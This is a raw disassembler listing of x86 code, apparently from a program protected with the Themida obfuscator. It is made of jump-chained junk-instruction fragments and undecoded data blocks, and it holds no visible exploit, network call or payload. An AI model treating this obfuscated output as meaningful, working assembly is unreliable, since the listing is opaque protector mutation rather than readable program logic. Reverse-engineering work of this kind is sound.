add ebx, 4
add ebx, 4
xor ebx, [esp]
jmp loc_56466D
; ---------------------------------------------------------------------------
dd 2EC5C281h, 0C2014716h, 2EC5EA81h, 81584716h, 445E3EC2h
dd 81C20175h, 445E3EEAh, 53BE5675h, 0F7562C67h, 6D8668DEh
dd 4890000h, 3E1AB824h, 0D8F7308Ch, 0D8F7D0F7h, 0FF65CFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561B59: ; CODE XREF: Themida_:00557BBDj
mov ebx, ebp
mov ebp, [esp]
add esp, 4
pop edx
jmp loc_559484
; ---------------------------------------------------------------------------
aNsr db 'éà]',0
align 10h
dd 0C281E289h, 4, 1A65E9h, 0B5516600h, 66EB2025h, 0E9240C8Bh
dd 0FFFF8BB2h, 0BA7D390Dh, 31F0315Fh, 0F7F031C6h, 6441E9D6h
dd 0E2C1FFFFh, 0E365E906h, 148BFFFFh, 4C48324h, 0FF8D5BE9h
dd 0D1DDF7FFh, 68E581EDh, 811AD50Eh, 9134E8F5h, 1240E976h
dd 6DE9FFFFh, 5DFFFF10h, 0DE94F581h, 9EE95604h
db 8Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561BD7: ; CODE XREF: Themida_:0055E0D3j
mov [esp], edx
sub esp, 4
mov [esp], ebx
pop edx
push eax
mov eax, esp
push ecx
jmp loc_55C8EB
; ---------------------------------------------------------------------------
db 40h, 0D1h, 0E8h
dd 0C1FFC083h, 9BE907E8h
db 74h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561BFB: ; CODE XREF: Themida_:00564759j
push 59CBh
mov [esp], ecx
mov ecx, 65823C31h
jmp loc_55520F
; ---------------------------------------------------------------------------
db 2Dh, 1, 0
dd 0E0C10000h, 693A0D06h, 0AF2D5A8Bh, 170F3D4h, 0EF8158C7h
dd 2E105B14h, 0FF60CCE9h, 0CF295CFFh, 5FBCE959h, 8B660000h
dd 9B68240Ch, 89000075h, 0EC83243Ch, 24248904h, 0FF6E1EE9h
dd 5EBC1FFh, 2AAD6850h, 0E9585289h, 0FFFFB4BBh, 4BA52h
dd 0E9810000h, 0E9F28E4h, 0C181D101h, 0E9F28E4h, 529EE95Ah
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_561C76: ; CODE XREF: Themida_:0056541Cj
add esp, 4
not ebx
inc ebx
push ebx
push edx
jmp loc_552E3C
; ---------------------------------------------------------------------------
dw 1068h
dd 594F5B07h, 0E981D1F7h, 99558C27h, 8159CB89h, 0E6040CC3h
dd 45EB874Ah, 0D3F7EB87h, 0C381D3F7h, 796D10C5h, 0BF1BF381h
dd 0DE31DBBBh, 81241C8Bh, 4C4h, 0A4C58100h, 8139453Ah
dd 8631E9EDh, 0E9F50144h, 0FFFF91D0h
; ---------------------------------------------------------------------------
loc_561CD0: ; CODE XREF: Themida_:0055D68Fj
add eax, 0FFFFFFFFh
shr eax, 3
jmp loc_559C60
; ---------------------------------------------------------------------------
loc_561CDD: ; CODE XREF: Themida_:00557EBFj
mov esi, [esp]
add esp, 4
add ebx, 15365F95h
add ebx, edi
sub ebx, 15365F95h
push ebp
jmp loc_557C98
; ---------------------------------------------------------------------------
loc_561CF7: ; CODE XREF: Themida_:0055C07Cj
mov cl, 0B5h
sub dl, cl
jmp loc_561EE5
; ---------------------------------------------------------------------------
loc_561D00: ; CODE XREF: Themida_:00563F3Ej
add edx, 12848FEh
add esi, edx
jmp loc_55F0F4
; ---------------------------------------------------------------------------
db 68h, 0A9h, 0Dh
dd 3C890000h, 50C3BF24h, 23E963AEh
db 4Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561D1F: ; CODE XREF: Themida_:00553020j
pop eax
pop ebx
jmp loc_5668D3
; ---------------------------------------------------------------------------
dw 0FA31h
dd 95B9515Fh, 814AFE70h, 0EF2AA9F1h, 59CA2997h, 31E9E9h
db 0
; ---------------------------------------------------------------------------
loc_561D3D: ; CODE XREF: Themida_:005650B7j
mov ebp, ecx
mov ecx, [esp]
add esp, 4
push edx
mov edx, 32A32E5Ch
jmp loc_56733F
; ---------------------------------------------------------------------------
db 54h
dd 8124048Fh, 42404h, 815D0000h, 4C5h, 2A685600h, 89000018h
dd 5ABD242Ch, 891A1B58h, 8E0AE9EEh, 0FF53FFFFh, 5B042474h
dd 5C24048Fh, 8B24048Fh, 41E92424h, 0E9000038h, 0FFFF0EA4h
dd 6FBF57h, 4E94137h, 0BDFFFF71h, 6F873E1Bh, 55DE829h
dd 5AEAF286h, 560EE9h
db 0
; ---------------------------------------------------------------------------
loc_561DB1: ; CODE XREF: Themida_:0056391Fj
shr esi, 4
add esi, 1
push ebx
mov ebx, 79DFE910h
xor esi, ebx
pop ebx
jmp loc_5568AE
; ---------------------------------------------------------------------------
db 66h, 9, 4
dd 5AE99C24h, 81FFFF33h, 166A8FEBh, 2EED817Dh, 119D844h
dd 2EC581DDh, 5B19D844h, 5504C583h, 4B9DE9h, 2474FF00h
dd 2434FF04h, 477BE9h, 0BB534A00h, 51885110h, 35DEE381h
dd 0DBF705CFh, 4447E9h, 37A2BF00h, 47E944FEh, 5CFFFFA2h
dd 594FE981h, 0BD55160Eh, 16FDEFD8h, 55FDBB53h, 0CB8114CEh
dd 0A8F6CD0h, 6B55EB81h, 0D3F77885h, 0EB81DBF7h, 8A6EFD51h
dd 3C75E981h, 0D9015FCBh, 3C75C181h, 295B5FCBh, 0CAE956E9h
dd 68FFFFDBh, 5860h, 43CBE9h, 5E08900h, 4, 4BA52h, 0D0010000h
dd 74FF505Ah, 8F580424h, 76E92404h
db 8Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561E7F: ; CODE XREF: Themida_:005566E9j
pop ecx
add ecx, 2D5430D7h
mov eax, [esp]
add esp, 4
xor esi, ecx
pop ecx
jmp loc_55D415
; ---------------------------------------------------------------------------
db 81h
dd 265A95E1h, 1DF2E90Bh, 0EC83FFFFh, 24148904h, 857E5BBAh
dd 9ABF572Eh, 295EDB19h, 0D5DE9FAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_561EBA: ; CODE XREF: Themida_:005649FCj
push edi
mov edi, 4
sub esi, edi
jmp loc_5609F9
; ---------------------------------------------------------------------------
loc_561EC7: ; CODE XREF: Themida_:00565C15j
mov edx, 61F43483h
jmp loc_55CCC6
; ---------------------------------------------------------------------------
db 0B9h, 8Ch, 0Fh
dd 2DE91F0Dh, 80FFFF2Eh, 5166CCF3h, 2B37E9h
db 0
; ---------------------------------------------------------------------------
loc_561EE5: ; CODE XREF: Themida_:00561CFBj
pop ecx
add dl, 0F8h
mov ecx, [esp]
add esp, 4
sub bl, dl
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], eax
push 723E4BD6h
mov eax, [esp]
add esp, 4
jmp loc_55B615
; ---------------------------------------------------------------------------
loc_561F13: ; CODE XREF: Themida_:0055A830j
push 18DFh
mov [esp], edx
mov edx, 2D4C0BC8h
jmp loc_55CC35
; ---------------------------------------------------------------------------
loc_561F25: ; CODE XREF: Themida_:00556343j
mov cx, [esp]
jmp loc_55E2E1
; ---------------------------------------------------------------------------
loc_561F2E: ; CODE XREF: Themida_:00553C35j
push dword ptr [esp]
pop edx
add esp, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
loc_561F45: ; CODE XREF: Themida_:loc_55D72Cj
push 6824h
jmp loc_55AF71
; ---------------------------------------------------------------------------
loc_561F4F: ; CODE XREF: Themida_:0055EF13j
add esi, 77D62B8h
jmp loc_55E186
; ---------------------------------------------------------------------------
loc_561F5A: ; CODE XREF: Themida_:00560DA4j
sub esi, 0AB27EEAEh
mov eax, esi
jmp loc_55DD72
; ---------------------------------------------------------------------------
loc_561F67: ; CODE XREF: Themida_:00567454j
push 7974h
jmp loc_55D8D2
; ---------------------------------------------------------------------------
db 31h, 0D8h, 5Bh
dd 0FFA4A4E9h, 0F0EF80FFh, 0F8009B2Ch, 6D01E952h, 28FFFFFh
dd 0FF0CABE9h, 241C8BFFh, 8904C483h, 78E95AD7h, 31FFFF7Bh
dd 0E9C231D0h, 0FFFFA7C3h, 242C875Eh, 6624248Bh, 0E9240489h
dd 0FFFF0C84h
; ---------------------------------------------------------------------------
loc_561FB4: ; CODE XREF: Themida_:00562B75j
add edx, 641A6C99h
jmp loc_555F82
; ---------------------------------------------------------------------------
db 5Dh
dd 8704C183h, 515C240Ch, 887FB252h, 0B7535AD1h, 66CFFE58h
dd 9BB35352h, 305BDE88h, 148B66F7h, 2C48124h, 0C0000000h
dd 0DFF604EFh, 8033B551h, 0DDF62BE5h, 8006C580h, 0ED8089F5h
dd 0F7A4E9EEh, 0C87FFFFh, 14895C24h, 0E3895324h, 0FF7B9DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562011: ; CODE XREF: Themida_:0055918Aj
push ebp
not dword ptr [esp]
pop ebp
xchg ebp, [esp]
pop esi
jmp loc_563383
; ---------------------------------------------------------------------------
db 51h
dd 8001B652h, 0EEC0A0C6h, 0C0CEFE02h, 0E9E904E6h, 59FFFFDCh
dd 2474FF57h, 48F5F04h, 8B665C24h, 54502404h, 0FFCDC3E9h
dd 24048FFFh, 0E5E95B5Ch
db 0Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562053: ; CODE XREF: Themida_:00567759j
pop esp
jmp loc_56507B
; ---------------------------------------------------------------------------
db 5Bh, 0F7h, 0DBh
dd 366CCB81h, 535515C0h, 7045B2BBh, 3BE9E96Bh, 0EB81FFFFh
dd 38D66B2Fh, 241C875Fh, 6624248Bh, 9C243CD3h, 0FF9520E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562085: ; CODE XREF: Themida_:0055A5D1j
pop edi
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_554BB3
; ---------------------------------------------------------------------------
dw 1C87h
dd 0EFC05C24h, 0ABCF8002h, 0FDB05052h, 0FF2D22E9h, 3128B9FFh
dd 0F1817157h, 0AAE6E2Dh, 227CC981h, 9DE93D39h, 68FFFF40h
dd 3755h, 56240C89h, 0FFBA03E9h, 5FD3BDFFh, 94BB2E63h
dd 111ED1Ch, 4D9DE9EBh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5620E6: ; CODE XREF: Themida_:00555313j
add edi, ebx
pop ebx
add edi, 5C23358Fh
sub edi, 0C0EA068Fh
jmp loc_556070
; ---------------------------------------------------------------------------
dw 0E6C1h
dd 5EEC106h, 407B68h, 420AE900h, 96B90000h, 81365D63h
dd 6B1A64E9h, 59CE29D0h, 37B3F681h, 53E927A5h, 66FFFFBEh
dd 68240C8Bh, 4F94h, 54241489h, 8B2434FFh, 0C4832414h
dd 0E0895004h, 405h, 3D3DE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562146: ; CODE XREF: Themida_:00560CC3j
add ebp, 4
xor ebp, [esp]
jmp loc_564CFB
; ---------------------------------------------------------------------------
db 33h, 4, 24h
dd 0FF557BE9h, 76B850FFh, 0D1267B4Ch, 0F110E9E8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562166: ; CODE XREF: Themida_:0055CBAFj
add edx, 67692954h
push ebp
mov ebp, 33D32D8Bh
jmp loc_56593F
; ---------------------------------------------------------------------------
db 50h
dd 6E243481h, 5E65771Eh, 1E6EF681h, 29586577h, 0F742E9F0h
dd 0E7C0FFFFh, 0DFB65205h, 0F65AF728h, 1EB652DFh, 10E9F730h
db 12h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5621A3: ; CODE XREF: Themida_:005590B6j
sub ebp, 4B3A69BAh
push esi
jmp loc_55978A
; ---------------------------------------------------------------------------
db 0FFh
dd 19E92434h, 0FDFFFF20h, 0A6852h, 148B0000h, 0E2895224h
dd 4C281h, 0BE560000h, 30940D58h, 2229EE81h, 0E6812AC9h
dd 0CEA6436h, 0ABB68h, 240C8900h, 0FFFF21E9h, 242489FFh
dd 4240481h, 5D000000h, 4C581h, 0E9570000h, 258Dh, 662F3EB9h
dd 59CF8970h, 57D7F74Fh, 0F7243487h, 243487D6h, 5F2404FFh
dd 4F50CF81h, 0E956576Fh, 0FFFF6338h, 485BED81h, 0E5C100D2h
dd 0E5F58105h, 45282379h, 0C7D7F581h, 95E90C5Eh, 8BFFFF27h
dd 7A68240Ch, 8900006Bh, 95E9242Ch, 59000040h, 8853515Ah
dd 5BDD88C3h, 88EB8853h, 0C8B5BDEh, 0E1895124h, 4C181h
dd 0C1830000h, 240C8704h, 24048B5Ch, 8B04C483h, 0C481241Ch
dd 4, 202768h, 240C8900h, 0C180DBB1h, 2536E90Dh, 0E953FFFFh
dd 0FFFF6663h, 5C241C87h, 9853E954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5622A2: ; CODE XREF: Themida_:00553822j
xchg ecx, [esp]
jmp loc_5644E2
; ---------------------------------------------------------------------------
loc_5622AA: ; CODE XREF: Themida_:00565117j
push 21F25ED0h
pop ecx
mov esi, ecx
pop ecx
push ebp
jmp loc_55F51A
; ---------------------------------------------------------------------------
db 47h, 81h, 0C7h
dd 0AD8C57EBh, 3C8BF829h, 4C48124h, 89000000h, 24048BC6h
dd 4C481h, 53560000h, 2038A9BBh, 245C014Ah, 9EE95B04h
dd 5D000051h, 5C24048Fh, 0E9C8B70Fh, 373Bh, 18A838BBh
dd 5BDA0113h, 5C4FEB81h, 0D3294EB9h, 5C4FC381h, 95A4EB9h
dd 34FF1C5Fh, 241C8B24h, 8104C483h, 4C4h, 916E900h, 0CA81FFFFh
dd 9B72DBEh, 241AEA81h, 56503A14h, 0FFEA74E9h, 8CE951FFh
dd 89FFFF5Ch, 4812424h, 424h, 2434FF00h, 0E924348Bh, 0FFFF6423h
; ---------------------------------------------------------------------------
loc_562350: ; CODE XREF: Themida_:00553D55j
pop esi
push esi
mov esi, 0FFFFFFFFh
add ebp, esi
pop esi
push eax
mov eax, 17938752h
xor ebp, eax
push dword ptr [esp]
jmp loc_55BC22
; ---------------------------------------------------------------------------
dw 0C783h
dd 243C8704h, 0FF3E6DE9h, 2434FFFFh, 2425E95Bh, 0E95D0000h
dd 278Ah, 0C781DFF7h, 98B08BBh, 487AF781h, 81474136h, 0E31D0CE7h
dd 8EF816Eh, 16C8008h, 0CC73E9FEh, 0B353FFFFh, 8364E910h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5623AE: ; CODE XREF: Themida_:005663ECj
mov ebx, [esp]
jmp loc_556AF9
; ---------------------------------------------------------------------------
dw 0B951h
dd 4D180B82h, 6AC18149h, 0E91EA7F9h, 0FFFF270Ch
; ---------------------------------------------------------------------------
loc_5623C8: ; CODE XREF: Themida_:00556732j
mov [esp], esi
push esp
pop esi
push edi
mov edi, 4
add esi, edi
pop edi
jmp loc_5583A6
; ---------------------------------------------------------------------------
db 29h
dd 12B22DE8h, 0BD5547A0h, 7E600582h, 0FFE83CE9h, 58C781FFh
dd 530D9278h, 81F843BBh, 0E9DF310Dh, 0FFFF3E3Dh
; ---------------------------------------------------------------------------
loc_562400: ; CODE XREF: Themida_:005571F3j
pop edi
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_552DE6
; ---------------------------------------------------------------------------
dw 8B66h
dd 0E0E9240Ch
db 5, 2 dup(0)
; ---------------------------------------------------------------------------
loc_562417: ; CODE XREF: Themida_:00558112j
push edx
jmp loc_554BC4
; ---------------------------------------------------------------------------
db 9, 0D5h, 0E9h
dd 0FFFFC150h, 5020355Fh, 0BAE94C02h
db 9Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56242F: ; CODE XREF: Themida_:005573ADj
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edx
push ecx
mov ecx, 5AAC5FACh
jmp loc_5549E1
; ---------------------------------------------------------------------------
db 89h
dd 0E589242Ch, 4EC81h, 1C890000h, 4C5DE924h, 0D901FFFFh
dd 83241C8Bh, 0C18104C4h, 28F149ECh, 0A9E9C101h
db 48h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56246B: ; CODE XREF: Themida_:005577ECj
push ebx
push edx
mov edx, 2486038Bh
mov ebx, edx
pop edx
or esi, ebx
pop ebx
add esi, 3D3CC098h
add ebp, 0A20349h
add ebp, esi
sub ebp, 0A20349h
pop esi
mov eax, ebp
push dword ptr [esp]
mov ebp, [esp]
push eax
jmp loc_5672C6
; ---------------------------------------------------------------------------
db 81h
dd 0EB28A6C2h, 0F049E975h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5624A6: ; CODE XREF: Themida_:00559835j
mov [esp], edx
jmp loc_55BD1D
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 1DE95157h, 68FFFFCFh, 5E0Eh, 52240C89h, 0FF7C9FE9h
dd 81E289FFh, 4C2h, 4BD5500h, 1000000h, 0A24E9EAh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5624DE: ; CODE XREF: Themida_:00563A9Fj
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5531C8
; ---------------------------------------------------------------------------
db 42h
dd 0FFA8EEE9h, 81EE01FFh, 0D5587BEEh, 0EC815D4Fh, 4, 0FF243489h
dd 0FF042474h, 835E2434h, 48F04C4h, 24248B24h, 9CC88566h
dd 0FF070FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562529: ; CODE XREF: Themida_:00567C9Bj
add esp, 4
shl ecx, 7
xor ecx, 51A40000h
jmp loc_55CCB0
; ---------------------------------------------------------------------------
loc_56253D: ; CODE XREF: Themida_:0055FCC2j
mov eax, 45906AEBh
add eax, 0BA6F9519h
add ebx, eax
jmp loc_56293E
; ---------------------------------------------------------------------------
loc_56254E: ; CODE XREF: Themida_:00566200j
add ecx, 292A28A6h
push edi
mov edi, 6DD81FD9h
push ebp
mov ebp, 6C78EE54h
sub edi, ebp
pop ebp
and edi, 61DC0973h
jmp loc_5603F2
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 4C48324h, 5C243C87h, 0E99CC83Bh, 0FFFF06B8h
; ---------------------------------------------------------------------------
loc_562580: ; CODE XREF: Themida_:0055D1E2j
add edi, esi
pop esi
jmp loc_558A3F
; ---------------------------------------------------------------------------
dd 23D3C781h, 0F80986B5h, 8E9555Fh, 31FFFFF8h, 52E92434h
dd 0B9FFFF58h, 43324922h, 0F181D1F7h, 0DDE2E98Eh, 8159CB21h
dd 9D51F8C3h, 0E026E926h, 48BFFFFh, 4C48324h, 0C8E9EB00h
dd 0BEFFFFF3h, 0BCF369Ah, 0FF3BF1E9h, 405FFh, 0E2680000h
dd 89000007h, 0C868242Ch, 5D60CF43h, 0E5C1D5F7h, 38E95706h
dd 8BFFFFD7h, 0C483240Ch, 0B647E904h, 0EC81FFFFh, 4, 68243489h
dd 7321h, 68240489h, 3AEA7B56h, 8BC68958h, 0C4812404h
dd 4, 0B02BA52h, 0ADE90AFCh, 66FFFF8Ah, 8324048Bh, 48904ECh
dd 11E95424h, 66FFFFD0h, 68240C8Bh, 7BC1h, 54243489h, 0FF6E6CE9h
dd 243C89FFh, 490968h, 241C8900h, 0FF3420E9h, 895659FFh
dd 0F2F0E9E6h, 0C89FFFFh, 0E9E18924h, 0FFFF9AA0h, 0D9C58145h
dd 0E9135320h, 0FFFF60B3h, 8B665A66h, 49682414h, 8900001Bh
dd 8B54243Ch, 0C481243Ch, 4, 57BF5755h, 0E9411C09h, 17B3h
; ---------------------------------------------------------------------------
loc_56269C: ; CODE XREF: Themida_:0055B2D6j
add esp, 4
add [esp+4], ecx
jmp loc_565CC3
; ---------------------------------------------------------------------------
db 5
dd 51DD25C6h, 0F32CE955h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5626B6: ; CODE XREF: Themida_:00566835j
add edx, esi
pop esi
jmp loc_565C50
; ---------------------------------------------------------------------------
dw 0EF81h
dd 128A3D18h, 6825C781h, 0B9516245h, 6C653A83h, 316DE181h
dd 0BF577B91h, 35B936C7h, 39B9C181h, 4E92C61h
db 6Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5626E7: ; CODE XREF: Themida_:0055C9A2j
mov esp, [esp]
push ebp
jmp loc_554886
; ---------------------------------------------------------------------------
dd 8E1C15Fh, 5E04F181h, 0CB8956E5h, 245C0159h, 0E1E95B04h
dd 54FFFF07h, 4EC835Eh, 0E9240C89h, 0FFFF8438h, 4EC81h
dd 24E90000h, 83FFFFFDh, 0EC8104C4h, 4, 89240489h, 405E0h
dd 0E5E90000h
db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562737: ; CODE XREF: Themida_:005651A0j
or eax, eax
jz loc_55806A
push dword ptr [edi+1Ch]
push dword ptr [esp]
jmp loc_55601D
; ---------------------------------------------------------------------------
dw 0E983h
dd 240C8704h, 2414895Ch, 50575A54h, 0A74A8168h, 24048B0Ah
dd 0E904C483h, 0FFFF4EB1h, 895461BFh, 8E7C168h, 0FF9F5EE9h
dd 0C68166FFh, 5665450h, 2966511Eh, 1E2D66F0h, 266DE951h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56278A: ; CODE XREF: Themida_:0055FFDAj
xor esi, 837F9D09h
xor [esp+4], esi
pop esi
push dword ptr [esp]
jmp loc_56159E
; ---------------------------------------------------------------------------
loc_56279D: ; CODE XREF: Themida_:00560D1Cj
sub ebp, 55D25ED2h
add eax, 201534D2h
add eax, ebp
sub eax, 201534D2h
jmp loc_5615E2
; ---------------------------------------------------------------------------
loc_5627B4: ; CODE XREF: Themida_:00552E6Ej
shl al, 5
or al, 0FAh
add al, 95h
mov dh, al
pop eax
and dh, 0A8h
add dh, 0E8h
push ecx
mov ch, 69h
jmp loc_55BD83
; ---------------------------------------------------------------------------
dd 42474FFh, 0B3ECE95Ah, 489FFFFh, 8391B024h, 1C8904ECh
dd 0A509E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5627E6: ; CODE XREF: Themida_:00558597j
add esp, 4
add ecx, edi
mov [ecx], al
push dword ptr [esp]
pop ecx
jmp loc_55E92E
; ---------------------------------------------------------------------------
loc_5627F6: ; CODE XREF: Themida_:0055CBA5j
shr eax, 0Ch
xor eax, ecx
xor eax, ebx
jmp loc_555580
; ---------------------------------------------------------------------------
dw 0C181h
dd 4, 2C181h, 0C330000h, 240C3124h, 0FF839EE9h, 5FF989FFh
dd 0BB53D1F7h, 0FCA22EBh, 815BD929h, 2E0506C3h, 81CB0159h
dd 2E0506EBh, 2434FF59h, 0FF8989E9h, 4C481FFh, 81000000h
dd 4C4h, 34DAE900h, 9D2C0000h, 0FFCEABE9h, 4BEFFh, 74010000h
dd 5B5E0424h, 4C381h, 1E90000h, 31FFFFD5h, 24048BC6h, 8304C483h
dd 0EEC1FFEEh, 2B95106h, 837CBD34h, 70E904ECh, 38FFFF95h
dd 0A9E99CC1h, 68FFFF03h, 77C0h, 0F7240C89h, 57592414h
dd 0DE3354BFh, 4A2FE943h, 0C3810000h, 4, 0E904C383h, 0FFFFAD19h
dd 423FC281h, 2C8B1137h, 4C48124h, 83000000h, 143304C2h
dd 24143124h, 5C241433h, 0FF5EC4E9h, 0B8FFh, 0F12D0000h
dd 0E9447C1Ah, 0FFFFE7CEh, 56A3C681h, 0CE813F64h, 7C4B5EAFh
dd 22D1E681h, 0C6811A34h, 5BDB0615h, 0FFCCB9E9h, 5BDE89FFh
dd 354DC681h, 0E6815666h, 2A480A4Ch, 840EE81h, 0C5810848h
dd 742F0704h, 0ED81F501h, 742F0704h, 0FF0E6FE9h, 55D9F7FFh
dd 645AB7BDh, 81DDF755h, 74076EF5h, 5C81E918h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56293E: ; CODE XREF: Themida_:00562549j
mov eax, [esp]
add esp, 4
xchg ebx, [esp]
pop esp
jmp loc_552C38
; ---------------------------------------------------------------------------
db 51h, 68h, 0C4h
dd 594EB307h, 0FFB928E9h, 3DF781FFh, 810B436Eh, 0C00C0FE7h
dd 88F7815Eh, 292F6E5Fh, 0F74A5FFAh, 19F3E9D2h, 0FB010000h
dd 1C8B038Bh, 4C48324h, 0E4FE9h
db 0
; ---------------------------------------------------------------------------
loc_562985: ; CODE XREF: Themida_:005567FEj
push ebp
mov ebp, esp
jmp loc_567845
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 6DFE95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562996: ; CODE XREF: Themida_:00553ACAj
shr bl, 1
jmp loc_5614DA
; ---------------------------------------------------------------------------
loc_56299D: ; CODE XREF: Themida_:00552D3Ej
shr edi, 3
jmp loc_553914
; ---------------------------------------------------------------------------
loc_5629A5: ; CODE XREF: Themida_:005567BAj
pop eax
add eax, 57454CD9h
add eax, 60760345h
inc eax
xor eax, 5F502B5Dh
sub ebx, eax
pop eax
add ebx, 66B34661h
add ebx, eax
sub ebx, 66B34661h
add ebx, 36807E5h
push 191Ah
mov [esp], edi
push ebp
mov ebp, 253139BBh
mov edi, 5BBA547Dh
xor edi, ebp
pop ebp
shr edi, 1
push 5C9Fh
mov [esp], edx
push 44FC4378h
jmp loc_56734A
; ---------------------------------------------------------------------------
db 68h
dd 231Dh, 83243C89h, 248904ECh, 24048324h, 243C8B04h, 4C481h
dd 89510000h, 4C181E1h, 55000000h, 0FF6CA7E9h, 4CE950FFh
dd 81FFFFDBh, 0DA994AF5h, 5DEA29EDh, 0FFC699E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562A35: ; CODE XREF: Themida_:00558FE6j
pop edi
pop ebx
jmp loc_5646B7
; ---------------------------------------------------------------------------
dd 6824048Bh, 790Ah, 0FFEC74E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_562A49: ; CODE XREF: Themida_:00556593j
pop esp
mov [esp], edi
push 1
jmp loc_5602DA
; ---------------------------------------------------------------------------
db 81h
dd 19AF3BC6h, 8BF529A8h, 0EAE92434h, 0B9FFFF65h, 3EF4234Fh
dd 23F5F181h, 0E9814794h, 738879E9h, 0B001C181h, 0CF096F5Fh
dd 0F833E959h, 50ADFFFFh, 0DB7EE954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562A8E: ; CODE XREF: Themida_:005544C7j
sub esp, 4
mov [esp], ebp
mov ebp, 77011262h
jmp loc_55A835
; ---------------------------------------------------------------------------
dw 5066h
dd 0FF3BBDE9h, 24248BFFh, 0B6BD5550h, 17FC730h, 0FF04246Ch
dd 555D2434h, 0E9535D54h, 0FFFFAF35h
; ---------------------------------------------------------------------------
loc_562AC0: ; CODE XREF: Themida_:0055304Dj
mov ebx, 4
jmp loc_56403A
; ---------------------------------------------------------------------------
dw 5159h
dd 0FFDAFAE9h, 8B585BFFh
db 1Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ebx
mov bl, ch
mov [eax], bl
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push 16E3h
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
jmp loc_559FB7
; ---------------------------------------------------------------------------
dw 0F681h
dd 36384870h, 0DEF7D6F7h, 0F2B3EE81h, 0F331C059h, 7FBE565Eh
dd 29000134h, 0E9505EF3h, 0FFFF9FF1h, 8DD9E956h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562B36: ; CODE XREF: Themida_:00566E12j
sub esp, 4
mov [esp], eax
push ebx
jmp loc_5594CA
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 0EC83E589h, 24348904h, 42F268h, 241C8900h, 65272768h
dd 241C8B06h, 0E904C483h, 0FFFFFD99h
; ---------------------------------------------------------------------------
loc_562B68: ; CODE XREF: Themida_:005547F9j
dec edx
add edx, 39880D73h
add edx, 7AEA1C1Ch
jmp loc_561FB4
; ---------------------------------------------------------------------------
dw 8758h
dd 815C241Ch, 4C1h, 5C3D6800h, 2C890000h, 2BD24h, 4AE90000h
dd 54FFFFC3h, 4C3815Bh, 0E9000000h, 0FFFFE1D9h, 59CE015Eh
dd 8B243487h, 0C8E92424h
db 0Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562BB3: ; CODE XREF: Themida_:0056091Fj
and ecx, ebp
jmp loc_55B74B
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 56243C89h, 0C62A48BEh, 5EF78908h, 0C15FF921h, 0F18106E1h
dd 2E394FB3h, 81E9CF01h
db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_562BDF: ; CODE XREF: Themida_:0055FE49j
mov eax, esp
jmp loc_5566AD
; ---------------------------------------------------------------------------
dw 0C331h
dd 0FF6A1CE9h, 48B66FFh, 6C146824h, 4890000h, 7BE95424h
dd 55FFFF16h, 0A529ECBDh, 4DDDF752h, 0FF4AE0E9h, 44CDBBFFh
dd 0FBE91129h, 5FFFFFEBh, 0FF8FCDE9h, 53AE68FFh, 4890000h
dd 0B5685124h, 0FF4E935Fh, 83592434h, 0BA5204C4h, 80F70BFh
dd 9749C281h, 8AE936A1h, 89000052h, 0B1685DE9h, 8900004Fh
dd 0E956240Ch, 0FFFF5C45h, 42474FFh, 24048F5Bh, 6B77E95Ch
dd 77FFFFFFh, 19589D1Ch, 0E99C2404h, 0FFFEFFC8h, 0E906B551h
dd 2DC1h, 295EF029h, 4B6E68D8h, 2C890000h, 3EB4BD24h, 440532A7h
dd 160CB33h, 33442DE8h, 0BAE960CBh, 0AD000009h, 67B46850h
dd 2C890000h, 67F0BD24h, 0F5811AEDh, 843339Ah, 194BC581h
